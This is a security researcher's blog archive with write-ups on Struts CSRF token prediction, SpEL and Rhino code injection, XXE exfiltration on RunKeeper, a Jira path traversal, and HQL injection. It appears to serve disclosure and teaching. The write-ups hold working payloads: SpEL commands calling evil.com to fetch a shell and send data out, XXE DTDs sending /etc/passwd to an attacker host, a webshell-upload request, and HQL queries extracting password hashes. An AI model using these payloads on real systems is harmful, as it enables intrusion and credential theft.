Tuesday, December 16, 2014

Predicting Struts CSRF Token (CVE-2014-7809)

A week has passed since the official release of Struts 2.3.20. I would like to now explain how CSRF tokens could be "easily" predicted by taking advantage of the vulnerability S2-023.

This article will be all about practical exploitation of a LCG pseudo random generator. Buckle up for code review, some math analysis and tons of hex fun!

True random number generator in action [Image Credit]

Diving in code review


The class 'TokenHelper' is use to generate CSRF token in the web framework Struts 2. The security of those tokens is crucial. It is expected that those would be immune to brute force attempt and to prediction. Take a minute to review the following class and maybe you will also find the vulnerability.

TokenHelper.java (Struts 2.3.17)
import java.math.BigInteger;
import java.util.Map;
import java.util.Random;
[...]

public class TokenHelper {

    /**
     * The default namespace for storing token session values
     */
    public static final String TOKEN_NAMESPACE = "struts.tokens";

    /**
     * The default name to map the token value
     */
    public static final String DEFAULT_TOKEN_NAME = "token";

    /**
     * The name of the field which will hold the token name
     */
    public static final String TOKEN_NAME_FIELD = "struts.token.name";
    private static final Logger LOG = LoggerFactory.getLogger(TokenHelper.class);
    private static final Random RANDOM = new Random();

[...]

    /**
     * Sets a transaction token into the session based on the provided token name.
     *
     * @param tokenName the token name based on which a generated token value is stored into session; for actual session
     *                  store, this name will be prefixed by a namespace.
     *
     * @return the token string
     */
    public static String setToken( String tokenName ) {
        String token = generateGUID();
        setSessionToken(tokenName, token);
        return token;
    }

[...]

    public static String generateGUID() {
        return new BigInteger(165, RANDOM).toString(36).toUpperCase();
    }

}

Got it ? Or giving up ? .. You can now pass to the next section.

Identifying the weak point


In order to be able to analyse the previous code, two classes need to be introduce.

java.security.SecureRandom

SecureRandom is a random generator that is recognized to be "cryptographically" secure. Its implementation will depend on the system hosting the JVM. With sufficient entropy, the values generated should be unpredictable. It is also important to note that each value generated is not base on the previous value or sequential.

java.util.Random

Random is a Linear Congruential Generator (LCG). What does it means? The generator is based on the evolving state of a value that is multiply by a huge number and reduce to its less significant bits (Those operations will be explain later). It is important to understand that the goal of such generator is mainly efficiency and uniform bit distribution.

Let's focus on the generation of the GUID (method generateGUID from the previous sample).

TokenHelper.java (Struts 2.3.17)
private static final Random RANDOM = new Random();

public static String generateGUID() {
    return new BigInteger(165, RANDOM).toString(36).toUpperCase();
}

The seed and random state


First, at the line 1, the Random class use a implicit seed that is the timestamp in nanoseconds of the time where this class is loaded (System.nanoTime()). This could be predict if the attacker have some insight about the load time of the Random class.

The weakest point is simply the usage of the java.util.Random instead of java.security.SecureRandom. The random values are generated based on a LCG which is not design to unpredictable. That's it! We have a vulnerability.

Vulnerable in theory, but is it exploitable?


Theory is one thing. Can we realistically predict tokens by collecting multiple tokens (or maybe just one)? To exploit this vulnerability we will have to dig into the implementation of the class Random. What happen when a number is generated...

java.util.Random


There are few details we need to know to attack the random generator.

Generator lifecycle

Life cycle of a Linear Congruential Generator (LCG)


1. The seed is multiply with a constant value (mutiplier).
2. An constant value (addend) is added to the previous result.
3. A mask of 48 bits is then applied to the previous result (less significant).
4. A mask of 32 bits is then applied to the previous result (most significant) but will not affect the seed for the next value.

The exact implementation of java.util.Random number generation is:
protected int next(int bits) {
    long oldseed, nextseed;
    AtomicLong seed = this.seed;
    do {
        oldseed = seed.get();
        nextseed = (oldseed * multiplier + addend) & mask;
    } while (!seed.compareAndSet(oldseed, nextseed));
    return (int)(nextseed >>> (48 - bits));
}


What's next() ?

The previous algorithm describe the generation int (32 bits). What about long (64 bits) and byte array (multiple of 8 bits)? The two types are build upon the generation of one or multiple ints.

Byte order for the various nextX() methods.
Why does this details matter? In the case of Struts, the nextBytes method is called implicitly by the BigInteger class. In order to predict the state of the seed, we will need to reverse the order of the bytes to match the original int values.

java.util.Random usage in Struts (TokenHelper.java)

Now how does Struts interact with java.util.Random? The important calls are as follow.

-TokenHelper.generateGUID()
  -new Random()
  -new BigInteger()
    -Random.nextBytes()

As said previously, the nextBytes() method is used. Nonetheless, a sequence of int is still generated.

Exploit


To exploit this algorithm, a bridge need to be made between two successive generated values. The only obstacle is the loss of 16 bits information of the seed. It is really easy to retrieve the seed by brute-forcing the missing 16 bits. Once the seed is found, we can generate all the following values. This is made possible because the Random instance is reuse globally (see the static keyword).

Brute operation

The proof of concept code has some additional details that are not that interesting. If you need to produce a working exploit, take a look at this proof of concept : struts-csrf-cracker.


Execution preview:
== Initial token
H6P3Y3GHIC2865ASZVQ913NR93QZO7BR
== Initial token in hex (easier evaluation)
14b08fcbf6523eecd7dd7d3e89cf97d6f478db5617

Guessing part..
== bytes representation (reconstructed byte array)
14b08fcb
f6523eec
d7dd7d3e
89cf97d6
f478db56
Seed found: 259752424024079
== following int .. (should match the initial token last part) 
d7dd7d3e
89cf97d6
f478db56
175a6e1c
== (prediction) Next token 
1590c1573a30295e6d87082bf2c389f575f5fcfa3890b8ac

== (actual) Next token
HWVVZO2VGBZOYD0QFWE8GU3BW4DCRVW8
== (actual) Next token in hex (easier evaluation)
1590c1573a30295e6d87082bf2c389f575f5fcfa38

Conclusion


If you see java.util.Random being used to generate secret value, the code is most likely vulnerable.

You can scan your code and the libraries you are using with Find Security Bugs. It will find vulnerabilities including predictable Pseudo Random Generator.

References


Struts 2 Advisory S2-023 : Official Struts advisory
Cracking Random Number Generators by James Roper : 3 parts articles series explaining PRNG in Java.
Black-Box Assessment of Pseudorandom Algorithms by Derek Soeder, Christopher Abad and Gabriel Acevedo : Excellent paper presented at BlackHat USA 2013. The tool presented "Prangster" is probably your best bet when source code is not available (Detailed paper).

Monday, November 17, 2014

Remote Code Execution .. by design

In rare situations, web applications are design to accept code as input. In most case, it is design to provide flexibility to the administrator of a system. The idea is to replace a complex interface by a Domain Specific Language. For a developper, it is a way to simply the application. For an attacker or a pentester, it could be the key element to gain access to the operating system.

Fictitious Applications

The attack vectors describe in this blog post are based on two scenarios I came across earlier this year. For each of those scenarios, I will present the engines used and some malicious samples to exploit those.

If you are looking for contextualize scenario, you can look at the follow article (Popping a shell on the Oculus Developer Portal). The attack described, in the previous article, take advantage of an expose eval function on the Oculus Developer Portal.

Spring Expression Language (SpEL)


The Spring Expression Language is the syntax used by spring for configuration and code place in annotations. It support a syntax that is close to Java code but with many limitations.

Usage Example


Spring exressions can be invoked as follow:

ExpressionParser parser = new SpelExpressionParser();

StandardEvaluationContext testContext = new StandardEvaluationContext(TEST_PERSON);
Expression exp = parser.parseExpression(dynamicValue); // name = 'Bob'
String valueExtracted = exp.getValue(testContext, String.class);

Malicious input script


The main limitation when injecting inside a SpEL expression is that the code must be a "oneliner". No assignment are possible. This force us to use a sequence of telescopic methods.

The following will blindly execute a command :
T(java.lang.Runtime).getRuntime().exec("wget http://evil.com/shell.jsp")

The result of the expression evaluation could be displayed back to the user. If it is the case, the output can be redirected and converted to a String using the Scanner class.
(new java.util.Scanner(
    (T(java.lang.Runtime).getRuntime().exec("uname -a").getInputStream()),"UTF-8"))
.useDelimiter("\\A").next()

To ex-filtrate data there is many options available. Here is one creating an HTTP request with data pass in a GET parameter.
new java.net.URL("http://evil.com/ex?data="+??).openConnection().getInputStream().readLine()

ScriptEngine / Rhino


The ScriptEngine api is available since the release of Java 6. It allow application to interact with script written in language such as JavaScript. The engine used to evaluate JavaScript is by default Rhino.

Usage Examples


The application code using the Rhino engine will look like this :

import org.mozilla.javascript.*;

Context cx = Context.enter();
[...]
cx.evaluateString(scope, dynamicCodeHere, "", 1, null);
Or this way using the generic ScriptEngince API..
import javax.script.ScriptEngine;

ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

Object result = scriptEngine.eval(dynamiceCodeHere);

Malicious input script


If you manage to control some part or all of the script evaluate, you can interact with the variable place in the context but, you can also interact fully with the JVM (by default). Rhino has many syntax additions to allow to interact with the Java API. For exemple, the following script will execute the command "calc.exe" by creating a instance of ProcessBuilder and starting the process.

new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

Sandboxing the Script Evaluation


Of course, not using those api can mitigate the risk instantly. If you are still convince that providing scripting interaction for your remote users is a good idea, you can use sandboxing mechanism to limit the attacks that were presented.

The SpEL evaluation can be configure to allow specific methods, constructors and fields access. It can be done by providing a MethodResolver, ConstructorResolver and PropertyAccessor to the evaluation context. See SpEL documentation for more details. As always, a white list should be build not a black list.

In the case of Rhino, the context can take a ClassShutter that allow or disallow the access to certain classes. If you need to disallow all access to the native API, you can reused the rhino-sandbox project created by cloudbees.

References


Remote Code with Expression Language Injection : Other examples of malicious script for SpEL Spring Expression Language (SpEL) : Reference to the language itself
Expression Language Injection  by Stefano Di Paola and Arshan Dabirsiaghi : The paper doesn't cover command execution or file system access.
Sandboxing Rhino in Java : Code sample of a proper sandboxing.
Rhino Documentation : Rhino documentation for reference on writing scripts
rhino-sandbox : Github project to disallow all access to native api.

Monday, October 13, 2014

Find Security Bugs: New version and project status

A new version of Find Security Bugs was release last week.

For those who don't know about it, Find Security Bugs is a plugin for the Java static analysis tool FindBugs. This plugin consist of a set rules that focus only on security weakness.

FindSecurityBugs used inside Eclipse IDE

(If you are not a user of the tool, this post will likely not be of great interest.)

What is new in 1.2.1?


Few rules were added and enhanced. The major ones are:
  • Better coverage for the SaxParser api vulnerable to XXE. The default configuration of the SaxParser is still vulnerable in the latest JDK.
  • Detect usage of XMLDecoder which is a parser that is not design to parse XML from external source. For more information, refer to Dinis Cruz article "Using XMLDecoder to execute server-side Java Code..".
  • Better coverage for weak hashing functions. This change consist in the addition of api of the Apache-Commons library.
  • Detection of Static IV when encrypting messages.  This rule will trigger if an instance of IvParameterSpec is construct and the bytes were not generated randomly in the same method. This rule is likely to trigger many alerts that require manual evaluation.
  • Detection of ESAPI Encryptor usage. The latest version of ESAPI is still weak if you are using the default configuration. The description of the bug will guide you with a list of verification.
  • Evaluation of dynamic script with ScriptEngine. You definitely want to use a sandbox in most context.
  • Evaluation of dynamic expression with SpEL (Spring Expression Language). This api is part of Spring core components and should never be expose to an end-user.
I will soon publish an article about the two last rules to present the vulnerabilities and exploitation scenarios.

Thanks to Dave Wichers, the descriptions have received important improvements.You can see the changes on the bugs description page.

Project status and future


Two years after I started this project, I am very pleased to see it being use in a wide range of organisations. At first, it was really just a "weekend project" that aim to automate part of my work when doing code review. I am now finding a variety of reference to the tool in enterprise and academic contexts.

The latest version of the OWASP Top 10 and the OWASP Testing Guide mention it.
"There are other free, open source, code review tools. The most promising is FindBugs, and its new security focused plugin called: FindSecurityBugs, both of which are for Java."
OWASP Top 10 - PDF format, page 18
The SWAMP project (Software Assurance Marketplace) is using FindSecurityBugs to cover the analysis of Java code.
"Currently, the SWAMP offers seven static analysis tools, which are: Findbugs with FindSecurityBugs, Clang Static Analyzer, CPPCheck, GCC, PMD, error-prone, and Checkstyle."
SWAMP FAQ
It was use in the code review of the Norwegian Voting System in 2013.
"An early step taken to get better acquainted with the code base, was by running automated tools for static analysis. In particular, FindBugs with the “Find Security Bugs”-plugin, as well as PMD, were used. These are freely available tools that are simple to set up and run, which use heuristic techniques to discover possible or probable code errors. [...] In particular, FindBugs has been quite helpful."
Source code audit of Norwegian electronic voting system, Page 18
Finally, the austrian company Porsche Informatik has create the Sonar plugin last year. The support for the latest version should be integrate soon.

~~~

The plugin will continue to grow but it is likely that the number of new rules decrease as I am getting less ideas. There is still room for improvement for many existing rules.

References




Wednesday, June 25, 2014

Identifying Xml eXternal Entity vulnerability (XXE)

Here is a small writeup on how a XXE was discover on the website RunKeeper.com. The website, as the name suggest, keep track of your trainings (running, cycling, skying, etc.) The vulnerabilities presented were fixed on June 10th 2014.

The website accept the upload of GPX file. The GPX file format is a XML document containing a list of positions with the instant speed, time and elevation.

GPX file


Here is an example of GPS file in the GPX format. The only important aspect is that it is XML based.

  
  
  
    
      
        22.600000
        
        0.000000
      
      
        22.600000
        
        0.000000
      
      [...]
      
   


Attack potential



When seeing user XML being parse server-side, the first thing that come to mind should be XXE attacks. XXE stands for Xml eXternal Entity. These attacks have gain momentum recently following various publications.

Note that the current article doesn't explain in dept XXE. It focus on tips and methodology to identify the vulnerability and the parser capabilities. The tests presented are those that were effective on the old version of RunKeeper.

Step 1 : Confirmation that entities are interpreted


In our first attempt, we need to confirm that entity are interpreted in there most basic form. We replace value with an inline entity. If it loads properly, then the replacement must have occurs.
<!DOCTYPE foo [<!ENTITY xxe "35.460997739" > ]>

  
  
  
    
      
        22.600000
        
        0.000000
      
   

Step 2 : Confirmation that SYSTEM entities are usable


We can now try loading external resources from a host we control. The resources can be hosted on a HTTP server, FTP server or even Samba shares in the case of intranet application.

RunKeeper only look at position, time and other numeric values. The string values from the metadata are not used. Therefore, it is not possible to get a direct response after the upload of a GPX file.

If the destination is a server we control, we would receive a connection if external entities are activated. Assuming a strict firewall restrictions is in place, all common ports should be tested (23, 80, 443, 8080, ...).

evil.gpx
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://xxe.me/ping_me" > ]>

  &xxe;
  
  
  
    
      
        22.600000
        
        0.000000
      
   



Right after the upload, our server receive the following request. SYSTEM entities are now confirm.
74.50.53.234 - - [08/Jun/2014:00:36:55 -0400] "GET /ping_me HTTP/1.1" 200 77 "-" "Java/1.6.0_26"

Step 3 : Test for external DTD availability to exfiltrate data


A cool trick was discovered by the researchers Alexey Osipov and Timur Yunusov that allow the construction of URL with data coming from other entities.

evil1.gpx
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [ 
 <!ENTITY % file SYSTEM "file:///etc/issue">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil1.dtd">
%dtd;]>

  &send;
   [....]


http://xxe.me/evil1.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxe.me/content?%file;'>">
%all;

Following the upload, we then received the following request:
74.50.62.56 - - [08/Jun/2014:00:51:41 -0400] "GET /content?Debian GNU/Linux 7 \x5Cn \x5Cl HTTP/1.1" 200 251 "-" "Java/1.6.0_26"

In pratice, the previoust technique is not perfect. Any file with XML incompatible characters (&, \n, \x80, etc) would break the URL. The /etc/issue is one of the rare file safe to include.

Step 4 : Test for external DTD with gopher protocol


We still have an option to fetch arbitrary file. A good observer would have notice that the remote JVM version was capture on step 1. The version is Java 1.6 update 26. The gopher protocol was disable on version 1.6 update 37 [Ref].The gopher protocol can be use to open a TCP connection and send arbitrary data.
gopher://remote_host:remote_port/?ARBITRARY_DATA

evil2.gpx
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [ 
 <!ENTITY % file SYSTEM "file:///etc/passwd">
 <!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd"> 
%dtd;]>

  &send;
   [....]


http://xxe.me/evil2.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/xxe?%file;'>">
%all;

Following the upload of the first file, an incoming connection is open and the file content is received.
$ nc -nlvk 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [74.50.53.234] port 1337 [tcp/*] accepted (family 2, sport 42321)
xe?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
[...]

Files can be fetch and directory can be list. For example, the entity "file:///" will return the root directory:
$ nc -nlvk 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [74.50.58.179] port 1337 [tcp/*] accepted (family 2, sport 52827)
xe?.rpmdb
.ssh
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
[...]

Demonstration


Demonstration of the attacks described previously. (Fullscreen recommended)


Mitigations


To resolve this issue two changes needed to be applied. SYSTEM entities were disable for the parsing of GPX files. Also, the Java Virtual Machine was updated to benefit from the previous security updates including the gopher protocol being disable by default.

References


Wednesday, February 26, 2014

Jira Path Traversal explained (CVE-2014-2314)

A new advisory has been published about a path traversal vulnerability affecting Jira 5.0.11 and 6.0.3. The vulnerability was corrected in July of last year and the fixes were deployed in the following months.

The attack is quite simple but, the potential impact is considerable. It could allow a attacker to upload a file that would serve as a webshell. I will explain how it was found by static analysis and why a little detail made it exploitable only on Windows operating system.


Identifying the vulnerability


The following code sample is taken from the plugin Issues Collector. The plugin support file upload to attach screenshots to a ticket. It use Jira REST api.

com/atlassian/jira/collector/plugin/rest/TemporaryAttachmentsResource.java
[...]
  @POST
  @Path("multipart/{collectorId}")
  @Consumes({"multipart/form-data"})
  @Produces({"text/html"})
  public Response attachTemporaryFileViaForm(@PathParam("collectorId") String collectorId, @MultipartFormParam("screenshot") Collection<filepart> fileParts) { ServiceOutcome outcome = this.collectorService.getCollector(collectorId);
   [...]
    FilePart filePart = (FilePart)fileParts.iterator().next();
    try
    {
     [...]

      TemporaryAttachment temporaryAttachment = createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream());
      temporaryAttachmentsMonitor.add(temporaryAttachment);
      context.put("temporaryAttachment", temporaryAttachment);
      return Response.ok(renderTemplate("templates/rest/tempfilejson.vm", context)).cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
    }
    catch (IOException e) {
    }
    return Response.serverError().cacheControl(com.atlassian.jira.rest.v1.util.CacheControl.NO_CACHE).build();
  }

  private TemporaryAttachment createTemporaryAttachment(String fileName, String contentType, InputStream inputStream)
  {
    File tmpDir = AttachmentUtils.getTemporaryAttachmentDirectory();
    long uniqueId;
    File tempAttachmentFile;
    do
    {
      uniqueId = getUUID();
      tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName);
    }
    while (tempAttachmentFile.exists());

    FileOutputStream output = null;
    try
    {
      output = new FileOutputStream(tempAttachmentFile);
      IOUtils.copy(inputStream, output);
      output.close();
    }
    catch (IOException e)
    {
      IOUtils.closeQuietly(output);
      log.error("Error creating temporary attachment", e);
      return null;
    }

    return new TemporaryAttachment(Long.valueOf(uniqueId), Long.valueOf(-1L), tempAttachmentFile, fileName, contentType);
  }

At the line 31, we have the file handle used to move the uploaded file to a temporary directory for attachments. The fileName value is not filter at any moment. This value come from the multipart request therefore can be control by the client.

sink
tempAttachmentFile = new File(tmpDir, uniqueId + "_" + fileName);

source
[...]createTemporaryAttachment(filePart.getName(), filePart.getContentType(), filePart.getInputStream());

Exploitation


To upload a file outside of the attachments folder, a classic path traversal pattern can be use to traverse to the root of the public web directory (/atlassian-jira/). As seen in the previous code sample, no validation is done to the file content. A JSP shell could be uploaded to gain system access.
POST /rest/collectors/1.0/tempattachment/multipart/2c1ce5fa  HTTP/1.1
Host: hackme.atlassian.net
Cookie: atlassian.xsrf.token=BQ79-A85Q-7DOM-UMFN|e98231aaaef98a0d9dc7c52e87f4e84cf9cd3085
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------16266315542468
Content-Length: 345

-----------------------------16266315542468
Content-Disposition: form-data; name="screenshot"; filename="/../../../atlassian-jira/hello.jsp"
Content-Type: text/plain

Hello world!

-----------------------------16266315542468

The filename provided in the request "/../../../atlassian-jira/hello.jsp" will be concatenated to the uniqueid and preceded by the temporary directory path.

On Windows:
C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\6177763437089900999_/../../../atlassian-jira/hello.jsp

On Linux:
/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_/../../../atlassian-jira/hello.jsp

On windows the path will be minimize to "C:\Program Files\Atlassian\Application Data\JIRA\atlassian-jira\hello.jsp" and the file will be written. On the other hand, Linux systems will evaluate the complete chain and identify that the folder "/opt/atlassian/jira/caches/tmp_attachments/6177763437089900999_" doesn't exist. Therefore, the attack would not be possible.

At this point, you can replace the file uploaded by a webshell that would be publicly available.

Remediation


If you maintain a Jira instance, you should have received the update already. If it is not the case, refer to the original advisory.

References


JIRA Security Advisory 2014-02-26 : The official advisory
WASC: Path traversal : Complete description of the Path traversal vulnerability

Wednesday, February 12, 2014

HQL for pentesters

SQL injection is a highly coveted type of attack. Plenty of resources exist to take advantage of an injection on common DBMS (MySQL, Oracle, MS SQL, etc). But, I could not find a resource targeting Hibernate Query Language. So, here are some techniques I found reading the documentation and by trial and error.

Hibernate?


Hibernate is an ORM that does mapping of class definition (code) with associate tables and some advanced feature including caching and inheritance. It is available in Java and .NET (see NHibernate) but, it is much more popular in the Java ecosystem.

The Query Language



First thing first, the HQL queries are not sent directly to the database. The hibernate engine parse the query, interpret it and then convert it to SQL. Why does this detail matter? Because, there are two source of error messages. Some will come from the hibernate engine and others will come from the database.

The big challenge with HQL is that the usual injection patterns are missing. No union, no function to create easy delay, no system function, no metadata tables available, etc. Hibernate query language doesn't expose the fancy features that the backend database might have.

Basic techniques


The following code sample will serve for the following test. Note that the malicious input will always be between the percentage symbols.
session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

Listing all entities

Let's start with something basic: listing all the books.

from Book
where title like '%'
  or 1=1
  or ''='%'
  and published = true

Accessing hidden column

Even tough the UNION operator is unavailable, we can still blindly brute force value of column not exposed.

from Book
where title like '%'
  and promoCode like 'A%'
  or 1=2
  and ''='%'
  and published = true
from Book
where title like '%'
  and promoCode like 'B%'
  or 1=2 and ''='%'
  and published = true
[...]

Listing column

One might ask how can we find this hidden column/field if their are no metadata tables. I found a little trick that can only work if hibernate exception message are return to the client. If a column name is not part of the entity definition hibernate has, hibernate will leave the expression untouched.

from Book
where title like '%' 
  and DOESNT_EXIST=1 and ''='%' 
  and published = true

The previous value will trigger the exception :

org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
      select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

From this exception, we can see the list of column implicitly targeted by the hibernate query.

Accessing different tables

As mention before, HQL does not support UNION queries. Joins with other tables are possible but only if the model has explicitelly define the relationship. The only way I have found to access other tables is using subqueries.

For example, the following query will select an entry from the table associate to the "User" entity.
from Book
where title like '%'
  and (select substring(password,1,1) from User where username='admin') = 'a'
  or ''='%'
  and published = true

It is now possible to follow the usual blind SQL injection pattern.

Non blind injection
Blind injection can be time consuming. If the exception message are exposed, you can directly get any values. To do so, you need to cast a selected value to different type. For example:
from Book
where title like '%11'
  and (select password from User where username='admin')=1
  or ''='%'
  and published = true

Hibernate will then happily return the exception message :
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:
select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]
Bonus trick: Calling backend function
As previously mention, Hibernate will leave some unregonized columns intact in the SELECT and WHERE clause. The same behavior apply to functions. The standard procedure to call a database function is to prior register the function mapping (HQL->SQL) (in Java code) but the attacker doesn't care about portability anyway. Functions left intact in the final SQL query can help exfiltrate data (group_concat, array_agg, ...) or simply fingerprint the backend database.

For example if the database support the group_concat function..
from Book
where title like '%11'
  and (select cast(group_concat(password) as string) from User)=1
  or ''='%'
  and published = true
The exception trigger will be :
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68"; SQL statement:
select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

Conclusion


This post was not about a hibernate vulnerability but about showing tricks to exploit HQL injections. If you are maintaining a Java web application using hibernate, you can run FindBugs with these security rules (self promotion) to identify all the potential injections related to hibernate api.

That's it! I hope I manage to give some helpful pointers.

References


HQL: The Hibernate Query Language : Hibernate official documentation
HQLmap: Probably the only tool that automate HQL injections (brute force entities and column names).
SQL Injection Wiki : Useful reference for SQL injection on multiple DBMS.
Pentestmonkey SQL Injection cheatsheets: Another good reference for SQL injection

Thursday, December 5, 2013

New Burp/ZAP plugin : Script Generator

Often in pentest/CTF, using Burp repeater/intruder is not enough to test certain vulnerabilities (second order SQL injection, padding oracle, etc). The most flexible method is always to build a small script to reproduce the original request(s) and add what is specific to the problem.

In practice when it come to reproduce the exact same request, a lot of time can be spend because of a forgotten parameter or header. I often reuse the same python templates to avoid searching in the documentation as I build a new script. Seeing part of the process being repetitive, I decided to try to build a plugin for Burp.

The plugin


The plugin generate a script (in python/ruby) to reproduce a HTTP request identify in the proxy tool. It does nothing revolutionary. It only supports the first of step of building a scripted attack. It does not provide templates for specific attacks.

The scripts generated are intended to be use outside of the proxy for complete control.

Screenshots


There is not much to be said about the usage of the plugin. Here are few images that show scripts generation in both Burp Proxy and Zed Attack Proxy.

Context menu in Burp Suite Pro
Context menu in Zed Attack Proxy
Python script generated
Ruby/Perl/PHP languages are also supported


Try it yourself


The Burp and ZAP plugins are available to download at https://github.com/h3xstream/http-script-generator#downloads.
Note : Burp Free edition does not supports extensions (doesn't have the Extender Tab).